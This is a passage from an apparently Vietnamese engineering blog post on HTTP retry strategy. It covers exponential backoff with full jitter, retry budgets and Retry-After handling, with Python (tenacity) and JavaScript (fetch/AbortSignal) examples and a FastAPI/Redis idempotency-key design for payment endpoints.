    D -- Hết --> Z[Fail, log, alert]
    D -- Còn --> E[Chờ backoff + jitter] --> F[Retry]

Vài quy tắc mình áp dụng:

Không retry lỗi 4xx (trừ 408 và 429). Gửi lại một request sai format 5 lần thì nó vẫn sai.
Tôn trọng header Retry-After khi gặp 429 hoặc 503. Server đã nói rõ khi nào nên quay lại, đừng đoán.
Timeout là trường hợp khó nhất. Bạn không biết request đã được xử lý hay chưa. Với POST /payments mà không có idempotency key thì đừng bao giờ retry tự động.
Chỉ retry ở một tầng. Nếu client retry 3 lần, API gateway retry 3 lần, service retry 3 lần thì một request gốc có thể thành 27 request ở downstream. Retry nhân lên theo cấp số nhân qua các tầng.

Exponential backoff + jitter: đừng để mọi client cùng retry một lúc

Retry ngay lập tức gần như luôn sai. Nếu server đang quá tải, bạn chỉ dội thêm tải vào nó. Exponential backoff (chờ 0.5s, 1s, 2s, 4s...) giúp giãn tải ra, nhưng vẫn còn một vấn đề: nếu 1000 client cùng fail vào một thời điểm thì chúng cũng sẽ cùng retry vào đúng các mốc giống nhau. Đây là "thundering herd".

Giải pháp là jitter: thêm yếu tố ngẫu nhiên vào thời gian chờ. Theo phân tích nổi tiếng của AWS Architecture Blog, "full jitter" (sleep = random(0, min(cap, base * 2^attempt))) cho tổng số request thấp nhất mà thời gian hoàn thành vẫn chấp nhận được.

Với Python, mình dùng tenacity (bản 9.x) thay vì tự viết:

# pip install tenacity==9.0.0 httpx==0.27.2
import httpx
from tenacity import (
    retry, stop_after_attempt, stop_after_delay,
    wait_random_exponential, retry_if_exception, before_sleep_log,
)
import logging

log = logging.getLogger(__name__)
RETRYABLE_STATUS = {408, 429, 500, 502, 503, 504}

def is_retryable(exc: BaseException) -> bool:
    if isinstance(exc, (httpx.ConnectError, httpx.ReadTimeout)):
        return True
    if isinstance(exc, httpx.HTTPStatusError):
        return exc.response.status_code in RETRYABLE_STATUS
    return False

@retry(
    retry=retry_if_exception(is_retryable),
    wait=wait_random_exponential(multiplier=0.5, max=10),  # full jitter, cap 10s
    stop=(stop_after_attempt(4) | stop_after_delay(20)),   # budget: 4 lần HOẶC 20s
    before_sleep=before_sleep_log(log, logging.WARNING),
    reraise=True,
)
def fetch_exchange_rate(client: httpx.Client, currency: str) -> dict:
    resp = client.get(f'/rates/{currency}', timeout=3.0)
    resp.raise_for_status()
    return resp.json()

Điểm quan trọng: stop kết hợp cả số lần và tổng thời gian. Nếu user đang chờ một request có timeout 30s ở frontend thì việc bạn retry đến giây thứ 45 là vô nghĩa.

Phía JavaScript: fetch, AbortSignal và Retry-After

Với Node.js 20+ hoặc trình duyệt hiện đại, bạn không cần thêm thư viện. AbortSignal.timeout() và AbortSignal.any() đã có sẵn:

const RETRYABLE = new Set([408, 429, 500, 502, 503, 504]);
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

function backoffMs(attempt, baseMs = 300, capMs = 8000) {
  const exp = Math.min(capMs, baseMs * 2 ** attempt);
  return Math.random() * exp; // full jitter
}

function parseRetryAfter(header) {
  if (!header) return null;
  const secs = Number(header);
  if (!Number.isNaN(secs)) return secs * 1000;
  const date = Date.parse(header);
  return Number.isNaN(date) ? null : Math.max(0, date - Date.now());
}

export async function fetchWithRetry(url, opts = {}, { maxAttempts = 4, totalTimeoutMs = 15000 } = {}) {
  const deadline = AbortSignal.timeout(totalTimeoutMs);

  for (let attempt = 0; attempt < maxAttempts; attempt++) {
    try {
      const signal = AbortSignal.any([deadline, AbortSignal.timeout(3000)]);
      const res = await fetch(url, { ...opts, signal });

      if (!RETRYABLE.has(res.status) || attempt === maxAttempts - 1) return res;

      const wait = parseRetryAfter(res.headers.get('retry-after')) ?? backoffMs(attempt);
      await sleep(wait);
    } catch (err) {
      if (deadline.aborted || attempt === maxAttempts - 1) throw err;
      await sleep(backoffMs(attempt));
    }
  }
}

Có hai signal: một cái cho timeout từng attempt (3s), một cái cho deadline tổng (15s). Khi hết deadline thì dừng hẳn, không cố thêm lần nào nữa.

Idempotency key: điều kiện để retry POST an toàn

Quay lại bài toán thanh toán. Client gửi POST /payments, server xử lý xong, trừ tiền xong, nhưng response bị mất do network. Client timeout rồi retry, và thế là khách bị trừ tiền 2 lần.

Cách giải mà Stripe đã phổ biến (và đang được chuẩn hoá trong IETF draft Idempotency-Key header) là client tự sinh một key duy nhất cho mỗi thao tác logic, rồi gửi lại đúng key đó mỗi lần retry. Server dùng key để nhận ra request trùng.

sequenceDiagram
    participant C as Client
    participant S as API Server
    participant R as Redis
    participant DB as Database
    C->>S: POST /payments (Idempotency-Key: abc123)
    S->>R: SET idem:abc123 processing NX EX 86400
    R-->>S: OK (key mới)
    S->>DB: Tạo payment
    S->>R: SET idem:abc123 = response
    S--xC: Response bị mất (timeout)
    C->>S: Retry POST (cùng key abc123)
    S->>R: GET idem:abc123
    R-->>S: Response đã lưu
    S-->>C: 201 (trả lại response cũ, không trừ tiền lần 2)

Phía server, một bản tối giản dùng FastAPI và redis-py 5.x:

import json
from fastapi import FastAPI, Header, HTTPException
from redis.asyncio import Redis

app = FastAPI()
redis = Redis(host='localhost', decode_responses=True)
TTL = 24 * 3600

@app.post('/payments', status_code=201)
async def create_payment(body: dict, idempotency_key: str = Header(...)):
    cache_key = f'idem:{idempotency_key}'

    # Chỉ một request được "giành" key này
    acquired = await redis.set(cache_key, 'processing', nx=True, ex=TTL)
    if not acquired:
        cached = await redis.get(cache_key)
        if cached == 'processing':
            raise HTTPException(409, 'Request đang được xử lý, thử lại sau')
        return json.loads(cached)

    try:
        result = await charge_customer(body)  # logic thật
    except Exception:
        await redis.delete(cache_key)  # cho phép retry nếu fail thật
        raise

    await redis.set(cache_key, json.dumps(result), ex=TTL)
    return result

Có vài chi tiết hay bị bỏ sót:

Key phải được sinh một lần ở client (ví dụ crypto.randomUUID()) trước vòng retry, không sinh lại ở mỗi attempt.
Nên lưu kèm hash của request body. Nếu cùng key mà body khác thì trả về 422, vì đó là bug ở phía client.
Với hệ thống tiền bạc thật, nên lưu idempotency record vào cùng transaction với DB chứ không chỉ dựa vào Redis.

Kết luận

Retry là công cụ mạnh, nhưng nếu không có ràng buộc thì nó biến lỗi nhỏ thành sự cố lớn. Checklist mình dùng khi review code có retry:

Phân loại lỗi trước: chỉ retry lỗi tạm thời (network, 408, 429, 5xx). Lỗi 4xx thì fail ngay.
Luôn có backoff + full jitter. Không bao giờ retry ngay lập tức, không bao giờ để sleep cố định.
Đặt budget kép: giới hạn số lần và tổng thời gian. Tôn trọng Retry-After.
Retry ở đúng một tầng. Ghi rõ trong tài liệu kiến trúc tầng nào chịu trách nhiệm retry.
Thao tác không idempotent thì phải có Idempotency-Key, nếu không thì đừng retry tự động.
Log mỗi lần retry kèm attempt number. Khi tỉ lệ retry tăng vọt, đó thường là dấu hiệu sớm nhất cho thấy downstream đang có vấn đề, thậm chí trước cả khi alert error rate kêu.

Bắt đầu từ việc nhỏ: grep codebase tìm các vòng for hoặc while quanh HTTP call, rồi thay bằng tenacity hoặc helper như ví dụ ở trên. Làm mất chừng nửa ngày, nhưng có thể giúp bạn tránh được một đêm on-call rất dài.